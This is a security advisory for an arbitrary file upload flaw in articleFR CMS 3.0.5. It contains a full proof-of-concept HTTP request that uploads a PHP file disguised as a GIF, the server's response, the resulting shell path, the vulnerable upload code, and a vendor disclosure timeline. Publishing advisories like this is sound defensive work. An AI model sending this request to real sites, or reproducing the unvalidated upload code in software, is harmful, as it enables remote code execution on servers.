articleFR CMS 3.0.5 Arbitrary File Upload

`#Vulnerability title: Arbitrary File Upload in articleFR CMS 3.0.5  
#Product: articleFR CMS  
#Vendor: http://freereprintables.com  
#Affected version: version 3.0.5   
#Download link: https://github.com/articlefr/articleFR  
#Fixed version: N/A  
#Author: Tran Dinh Tien ([email protected]) & ITAS Team (www.itas.vn)  
  
  
::DESCRITION::  
- Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently "malicious" but may be detrimental to the saved data.   
- The application may be expecting only certain file types to be uploaded for processing, such as mpeg4, ogv, ogg, 3gp, webm, gif, mkv, flv, drc, mng, avi,... files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation).  
  
  
  
::PROOF OF CONCEPT::  
  
- REQUEST:  
  
POST /articlefr/dashboard/videouploader.php HTTP/1.1  
Host: target.org  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Referer: http://target.org/articlefr/dashboard/videos/fileupload/  
Content-Length: 414  
Content-Type: multipart/form-data; boundary=---------------------------277651700022570  
Cookie: GEAR=local-5422433b500446ead50002d4; PHPSESSID=uc86lsmbm53d73d572tvvec3v4; _ga=GA1.2.884814947.1419214773; __unam=bd22dea-14a6fcadd31-42cba495-9; _gat=1  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
-----------------------------277651700022570  
Content-Disposition: form-data; name="myVideo"; filename="img.php"  
Content-Type: image/gif  
  
<?php   
phpinfo();   
?>  
-----------------------------277651700022570  
Content-Disposition: form-data; name=""  
  
undefined  
-----------------------------277651700022570  
Content-Disposition: form-data; name=""  
  
undefined  
-----------------------------277651700022570--  
  
  
  
- RESPONSE:  
  
HTTP/1.1 200 OK  
Date: Mon, 22 Dec 2014 03:10:30 GMT  
Server: Apache/2.2.15 (Red Hat)  
Content-Type: text/html  
Vary: Accept-Encoding  
Accept-Ranges: none  
Keep-Alive: timeout=15, max=100  
Connection: Keep-Alive  
Content-Length: 36  
  
[String_Random].php  
  
- Shell link: http://target.org/articlefr2/dashboard/videos/[String_Random].php  
  
  
- Vulnerable file: articlefr/dashboard/videouploader.php  
  
- Vulnerable code:  
  
<?php  
$output_dir = dirname(dirname(__FILE__)) . "/videos_repository/";  
if(isset($_FILES["myVideo"]))  
{  
$ret = array();  
  
$error =$_FILES["myVideo"]["error"];  
  
if(!is_array($_FILES["myVideo"]["name"]))   
{  
$fileName = $_FILES["myVideo"]["name"];  
$extension = pathinfo($fileName, PATHINFO_EXTENSION);  
$newFileName = md5(uniqid() . $fileName) . '.' . $extension;  
  
move_uploaded_file($_FILES["myVideo"]["tmp_name"], $output_dir.$newFileName);  
$ret[]= $newFileName;  
}  
  
echo $newFileName;  
}  
?>  
  
  
  
  
::DISCLOSURE::  
+ 12/09/2014: Contact to vendor - vendor did not reply  
+ 12/11/2014: Contact to vendor - vendor did not reply  
+ 12/22/2014: Contact to vendor - vendor replied  
+ 12/23/2014: Send the detail vulnerability to vendor - vendor did not reply  
+ 01/21/2015: Public information  
  
  
::REFERENCE::  
- http://www.itas.vn/news/itas-team-phat-hien-lo-hong-arbitrarily-file-upload-trong-articlefr-cms-71.html  
  
  
::DISCLAIMER::  
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.  
`